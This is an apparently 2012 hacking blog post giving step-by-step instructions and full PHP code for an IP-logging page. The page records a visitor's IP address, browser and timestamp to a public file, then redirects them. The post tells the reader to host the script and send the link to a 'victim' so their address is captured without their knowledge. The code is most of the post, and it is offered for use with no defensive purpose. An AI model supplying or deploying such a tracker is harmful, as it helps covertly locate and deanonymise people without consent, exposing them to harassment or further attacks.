Wednesday 7 November 2012

How to get The ip Address of your Victim

crackthesecurity | 06:20 | |

Step 1

Create a free hosting site from here My3gb

Step 2

Copy below php code and paste in notepad and save it as ip.php

<?php
$myFile = "ip.html";
$fh = fopen($myFile, 'a+') or die("can't open file");
$stringData ="Date:".date('Y-m-d H:i:s')."<br/>Ip:".$_SERVER['REMOTE_ADDR']."<br/>Browser:".$_SERVER['HTTP_USER_AGENT']."<br />\n" ;
fwrite($fh, $stringData);
fclose($fh);
?>
<?php
header( 'Location: http://crackthesec.blogspot.com/' ) ;
$ip = $_SERVER['REMOTE_ADDR'];
$hostaddress = gethostbyaddr($ip);
$browser = $_SERVER['HTTP_USER_AGENT'];
$referred = $_SERVER['HTTP_REFERER']; // a quirky spelling mistake that stuck in php

print "<strong>Display IP address:</strong><br />\n";
print "$ip<br /><br />\n";
print "<strong>More detailed host address:</strong><br />\n";
print "$hostaddress<br /><br />\n";
print "<strong>Display browser info</strong>:<br />\n";
print "$browser<br /><br />\n";
print "<strong>Where you came from (if you clicked on a link to get here</strong>:<br />\n";
if ($referred == "") {
print "Page was directly requested";
}
else {
print "$referred";
}
?> 

Step3

upload the php script to public folder

Step 4

Now send the link to your victim when the link is opened the IP address will displayed and stored

To view the IP Address

Replace your php link with ip.html
Example :
This is my Demo Link
http://crackthesec.my3gb.com/ip.php
replace as http://crackthesec.my3gb.com/ip.html


If you Like This Article,Then kindly linkback to this article by copying one of the codes below.

URL Of Post:



Paste This HTML Code On Your Page:

0 comments:

Post a Comment